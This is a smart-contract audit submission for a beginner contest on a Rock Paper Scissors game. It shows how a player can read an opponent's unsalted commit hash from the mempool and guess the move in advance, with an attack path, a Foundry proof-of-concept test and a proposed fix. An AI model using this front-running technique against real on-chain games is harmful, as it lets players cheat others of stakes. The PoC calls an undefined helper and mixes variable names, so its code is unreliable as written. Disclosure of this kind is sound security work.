Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`RockPaperScissors::commitMove` does not check if a salt was used for the `_commitHash`, resulting in players being able to predict the opponent's move before `RockPaperScissors::revealMove`

37h3rn17y2

Summary

RockPaperScissors::commitMove accepts any _commitHash submitted by the player without any sanity checks

Vulnerability Details

The following is the attack path

  1. Player A commits a move using RockPaperScissors::commitMove without using a salt

  2. Player B sees the player A's calldata in the mempool and creates a hash table for each of the possible moves (Rock/Paper/Scissors) without a salt

  3. Player B crosschecks the hash table with player A's _commitHash to determine player A's move

  4. Player B commits a winning move using RockPaperScissors::commitMove

  5. Player A reveals a move using RockPaperScissors::revealMove.

  6. Player B reveals a move using RockPaperScissors::revealMove

  7. Player B wins the turn

PoC

Place the following in RockPaperScissorsTest.t.sol and run

forge test --mt testPredictNoSalt

function testPredictNoSalt() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
uint256 _gameId = createAndJoinGame();
(,,,,,,,,,,,,,, uint8 scoreBBefore,) = game.games(gameId);
​
// 1. Player A commits a move using `RockPaperScissors::commitMove` without using a salt
(moveA, saltA) = playerACommitNoSalt(_gameId, RockPaperScissors.Move.Rock);
// 2. Player B sees the player A's calldata in the mempool and creates a hash table for each of the possible moves (Rock/Paper/Scissors) without a salt
bytes32 commitA = keccak256(abi.encodePacked(uint8(moveA), bytes32(0)));
bytes memory playerAcalldata = abi.encodeWithSignature("commitMove(uint256,bytes32)", commitA);
// 0x26826f6200000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020f39a869f62e75cf5f0bf914688a6b289caf2049435d8e68c5c5e6d05e44913f300000000000000000000000000000000000000000000000000000000
// 3. Player B crosschecks the hash table with player A's `_commitHash` to determine player A's move
bytes32 A_Rock = keccak256(abi.encodePacked(RockPaperScissors.Move.Rock, bytes32(0)));
bytes32 A_Paper = keccak256(abi.encodePacked(RockPaperScissors.Move.Paper, bytes32(0)));
bytes32 A_Scissors = keccak256(abi.encodePacked(RockPaperScissors.Move.Scissors, bytes32(0)));
bytes32 Acommit = hex"f39a869f62e75cf5f0bf914688a6b289caf2049435d8e68c5c5e6d05e44913f3";
uint8 Amove = Acommit == A_Rock ? (uint8(RockPaperScissors.Move.Rock)) : (Acommit == A_Paper ? (uint8(RockPaperScissors.Move.Paper)) : (uint8(RockPaperScissors.Move.Scissors)));
// Player B finds out that player A is playing rock
// 4. Player B commits a winning move using `RockPaperScissors::commitMove`
(moveB, saltB) = playerBCommit(_gameId, RockPaperScissors.Move.Paper);
// 5. Player A reveals a move using `RockPaperScissors::revealMove`.
playerAReveal(_gameId, RockPaperScissors.Move.Rock, saltA);
// 6. Player B reveals a move using `RockPaperScissors::revealMove`
playerBReveal(_gameId, RockPaperScissors.Move.Paper, saltB);
// 7. Player B wins the turn
(,,,,,,,,,,,,,, uint8 scoreBAfter,) = game.games(gameId);
assertGt(scoreBAfter, scoreBBefore);
}
​
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
​
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
game.commitMove(_gameId, commitB);
return(move, saltB);
}
​
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
​
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
game.revealMove(_gameId, uint8(move), saltB);
}

Impact

Impact: High, Player can predict the opponent's move in advance and win
Likelihood: Low, Opponents needs to commit a _commitHash that does not use any salt
Severity: Medium

Tools Used

Manual review

Recommendations

In RockPaperScissors::commitMove, check if the _commitHash was created without a salt and revert if it is.

function commitMove(uint256 _gameId, bytes32 _commitHash) external {
Game storage game = games[_gameId];
​
+ bytes32 NoSaltRock = keccak256(abi.encodePacked(RockPaperScissors.Move.Rock, bytes32(0)));
+ bytes32 NoSaltPaper = keccak256(abi.encodePacked(RockPaperScissors.Move.Paper, bytes32(0)));
+ bytes32 NoSaltScissors = keccak256(abi.encodePacked(RockPaperScissors.Move.Scissors, bytes32(0)));
+ require(_commitHash != NoSaltRock && _commitHash != NoSaltPaper && _commitHash != NoSaltScissors, "must use salt for commit hash");
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Created || game.state == GameState.Committed, "Game not in commit phase");
​
if (game.currentTurn == 1 && game.commitA == bytes32(0) && game.commitB == bytes32(0)) {
// First turn, first commits
require(game.playerB != address(0), "Waiting for player B to join");
game.state = GameState.Committed;
} else {
// Later turns or second player committing
require(game.state == GameState.Committed, "Not in commit phase");
require(game.moveA == Move.None && game.moveB == Move.None, "Moves already committed for this turn");
}
​
if (msg.sender == game.playerA) {
require(game.commitA == bytes32(0), "Already committed");
game.commitA = _commitHash;
} else {
require(game.commitB == bytes32(0), "Already committed");
game.commitB = _commitHash;
}
​
emit MoveCommitted(_gameId, msg.sender, game.currentTurn);
​
// If both players have committed, set the reveal deadline
if (game.commitA != bytes32(0) && game.commitB != bytes32(0)) {
game.revealDeadline = block.timestamp + game.timeoutInterval;
}
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.